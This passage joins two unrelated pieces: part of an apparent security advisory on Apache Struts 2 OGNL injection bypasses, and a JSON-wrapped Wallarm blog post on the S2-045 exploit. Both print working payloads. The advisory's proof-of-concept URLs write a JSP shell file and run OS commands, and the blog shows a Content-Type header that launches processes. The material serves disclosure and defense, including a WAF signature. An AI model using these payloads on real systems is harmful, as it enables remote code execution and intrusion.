It is\r\nusing the OpenSymphony XWork and OGNL libraries. By default, XWork's\r\nParametersInterceptor treats parameter names provided to actions as OGNL\r\nexpressions. A OGNL (Object Graph Navigation Language) expression is a limited\r\nlanguage similar to Java that is tokenized and parsed by the OGNL parser which\r\ninvokes appropiate Java methods. This allows e.g. convenient access to\r\nproperties that have a getter/setter method implemented. By providing a\r\nparameter like \"product.id=1\" the OGNL parser will call the appropiate setter\r\ngetProduct().setId(1) in the current action context. OGNL is also able to call\r\narbitrary methods, constructors and access context variables. For more details\r\nplease refer to http://commons.apache.org/ognl/language-guide.html.\r\n\r\n \r\nVulnerability overview/description:\r\n-----------------------------------\r\nTo prevent attackers calling arbitrary methods within parameters the flag\r\n\"xwork.MethodAccessor.denyMethodExecution\" is set to \"true\" and the\r\nSecurityMemberAccess field \"allowStaticMethodAccess\" is set to \"false\" by\r\ndefault. Also, to prevent access to context variables an improved character\r\nwhitelist for paramteter names is applied in XWork's ParametersInterceptor since\r\nStruts 2.2.1.1:\r\n\r\nacceptedParamNames = \"[a-zA-Z0-9\\\\.\\\\]\\\\[\\\\(\\\\)_'\\\\s]+\";\r\n\r\nUnder certain circumstances these restrictions can be bypassed to execute\r\nmalicious Java code.\r\n\r\n1.) Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator)\r\n\r\nWhen an exception occurs while applying parameter values to properties the\r\nvalue is evaluated as OGNL expression. For example this occurs when setting a\r\nstring value to a property with type integer. Since the values are not\r\nfiltered an attacker can abuse the power of the OGNL language to execute\r\narbitrary Java code leading to remote command execution. This issue has been\r\nreported (https://issues.apache.org/jira/browse/WW-3668) and was fixed in\r\nStruts 2.2.3.1. However the ability to execute arbitrary Java code has been\r\noverlooked.\r\n\r\n2.) Remote command execution in Struts <= 2.3.1 (CookieInterceptor)\r\n\r\nThe character whitelist for parameter names is not applied to Struts\r\nCookieInterceptor. When Struts is configured to handle cookie names, an\r\nattacker can execute arbitrary system commands with static method access to\r\nJava functions. Therefore the flag \"allowStaticMethodAccess\" can be set to\r\ntrue within the request.\r\n\r\n3.) Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor)\r\n\r\nAccessing the flag \"allowStaticMethodAccess\" within parameters is prohibited\r\nsince Struts 2.2.3.1. An attacker can still access public constructors with\r\nonly one parameter of type String to create new Java objects and access their\r\nsetters with only one parameter of type String. This can be abused for example\r\nto create and overwrite arbitrary files. To inject forbidden characters to the\r\nfilename an uninitialized string property can be used.\r\n\r\n4.) Remote command execution in Struts <= 2.3.1 (DebuggingInterceptor)\r\n\r\nWhile not being a security vulnerability itself, please note that applications\r\nrunning in developer mode and using Struts DebuggingInterceptor are prone to\r\nremote command execution as well. While applications should never run in\r\ndeveloper mode during production, developers should be aware that doing so not\r\nonly has performance issues (as documented) but also a critical security\r\nimpact.\r\n\r\n\r\nProof of concept:\r\n-----------------\r\n\r\n1.) Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator)\r\n\r\nGiven Test.java has an property \"id\" of type Integer or Long and appropriate\r\ngetter and setter methods:\r\n\tlong id;\r\n\t\r\nGiven test.jsp with result name=input is configured for action \"Test\":\r\nstruts.xml:\r\n\t<action name=\"Test\" class=\"example.Test\">\r\n\t\t<result name=\"input\">test.jsp</result>\r\n\t</action>\t\r\n\r\nThe following request will trigger an exception, the value will be evaluated\r\nas OGNL expression and arbitrary Java code can be executed:\r\n\r\n\t/Test.action?id='%2b(new+java.io.BufferedWriter(new+java.io.FileWriter(\"C:/wwwroot/sec-consult.jsp\")).append(\"jsp+shell\").close())%2b'\r\n\t\r\nAn attacker can\talso overwrite flags that will allow direct OS command execution:\r\n\t/Test.action?id='%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec('calc'))%2b'\r\n\r\nIf test.jsp displays the property \"id\" the result of the Java code evaluation\r\ncan be accessed:\r\n\t<%@ taglib prefix=\"s\" uri=\"/struts-tags\" %>\r\n\t<s:property value=\"id\" />\t\t\r\n\t\r\n2.)

"bulletinFamily": "blog", "description": "Two days ago Apache has published a fix for the new [Remote Code Execution vulnerability in Struts2](<https://cwiki.apache.org/confluence/display/WW/S2-045>).\n\nStruts2 RCE attacks in the wild\n\nThis vulnerability allows attacker to execute arbitrary Java code on the application server.\n\nWe can confirm that caught the first exploit for this vulnerability from the wild. And this is crazy. Like previous OGNL exploits this one is also based on the OGNL macroses to construct and call shell command via sequence of Java classes.\n\n#### Exploit\n\n[Wallarm](<http://wallarm.com>) has first caught the exploit on Mar 8, 03:34 am. Please look the sample malicious HTTP request below:\n \n \n GET /valid-struts.action HTTP/1.1 \n User-Agent: any \n Content-Type: %{(#_=\u2018multipart/form-data\u2019).(#dm=[@ognl](<http://twitter.com/ognl>).OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\u2018com.opensymphony.xwork2.ActionContext.container\u2019]).(#ognlUtil=#container.getInstance([@com](<http://twitter.com/com>).opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmds=(<some malicious code here>).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=([@org](<http://twitter.com/org>).apache.struts2.ServletActionContext@getResponse().getOutputStream())).([@org](<http://twitter.com/org>).apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\n\n#### Mitigation\n\nPlease check that you\u2019ve already updated to [Struts 2.3.32](<https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.32>) or [Struts 2.5.10.1](<https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.10.1>)\n\nIf you are unable to update Struts2 immediately you should apply virtual patch to your WAF. It\u2019s essentially similar to the previous OGNL exploits however it\u2019s likely to not be covered by many existing WAF signatures. If using old-fashion Web Application Firewall make sure to add this string as a new signature:\n \n \n %{(#_=\u2019multipart/form-data\u2019)\n\n#### History\n\nHere is a list of all historical OGNL security issues in Struts2:\n\n * <https://www.cvedetails.com/cve/CVE-2016-3093/>\n * <https://www.cvedetails.com/cve/CVE-2016-0785/>\n * <https://www.cvedetails.com/cve/CVE-2013-2251/>\n * <https://www.cvedetails.com/cve/CVE-2013-2135/>\n * <https://www.cvedetails.com/cve/CVE-2013-2134/>\n * <https://www.cvedetails.com/cve/CVE-2013-2115/>\n * <https://www.cvedetails.com/cve/CVE-2013-1966/>\n * <https://www.cvedetails.com/cve/CVE-2013-1965/>\n * <https://www.cvedetails.com/cve/CVE-2012-4387/>\n * <https://www.cvedetails.com/cve/CVE-2012-0838/>\n * <https://www.cvedetails.com/cve/CVE-2012-0391/>\n * <https://www.cvedetails.com/cve/CVE-2010-1870/>\n * <https://www.cvedetails.com/cve/CVE-2008-6504/>\n\nIt means that the OGNL technology are broken altogether.\n\n\n\n* * *\n\n[New Struts2 Remote Code Execution exploit caught in the wild](<https://lab.wallarm.com/new-struts2-remote-code-execution-exploit-caught-in-the-wild-34e52fa8e2>) was originally published in [Wallarm](<https://lab.wallarm.com>) on Medium, where people are continuing the conversation by highlighting and responding to this story.", "modified": "2017-03-10T16:52:09", "published": "2017-03-09T00:15:54", "href": "https://lab.wallarm.com/new-struts2-remote-code-execution-exploit-caught-in-the-wild-34e52fa8e2?source=rss----49b51199b3da---4", "id": "WALLARMLAB:78B5A23A8C5AE14F8F16C0F0A2134851", "title": "New Struts2 Remote Code Execution exploit caught in the wild", "type": "wallarmlab", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}]}
